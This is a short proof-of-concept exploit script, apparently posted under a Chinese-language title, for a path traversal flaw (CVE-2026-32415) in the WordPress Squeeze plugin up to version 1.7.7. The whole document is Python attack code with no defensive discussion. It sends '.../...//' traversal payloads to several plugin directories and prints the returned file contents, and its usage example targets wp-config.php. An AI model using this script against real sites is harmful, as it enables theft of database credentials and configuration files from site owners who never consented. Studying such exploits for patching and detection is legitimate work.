CVE-2026-32415 Squeeze插件路径遍历漏洞

import requests import sys # CVE-2026-32415 Path Traversal PoC # Target: WordPress Squeeze Plugin <= 1.7.7 def exploit_path_traversal(target_url, file_to_read): """ Exploit the path traversal vulnerability in Squeeze plugin The vulnerability allows reading arbitrary files via '.../...//' sequence """ # Construct the malicious path traversal payload # Using '.../...//' to bypass path validation payload = f".../...//.../...//{file_to_read}" # Common Squeeze plugin endpoints that may be vulnerable endpoints = [ "/wp-content/plugins/squeeze/includes/", "/wp-content/plugins/squeeze/", "/wp-content/plugins/squeeze/inc/" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint + payload try: response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File read: {file_to_read}") print(f"[+] URL: {url}") print(f"[+] Content length: {len(response.content)}") return response.text elif response.status_code == 200 and len(response.content) == 0: print(f"[-] Endpoint {endpoint} returned empty content") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed for {endpoint}: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2026_32415_poc.py <target_url> <file_to_read>") print("Example: python cve_2026_32415_poc.py http://example.com wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] CVE-2026-32415 Squeeze Plugin Path Traversal PoC") print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_path}") result = exploit_path_traversal(target, file_path) if result: print("\n[+] File content:") print(result[:1000]) # Print first 1000 chars else: print("\n[-] Exploitation failed. Target may not be vulnerable or file not accessible.")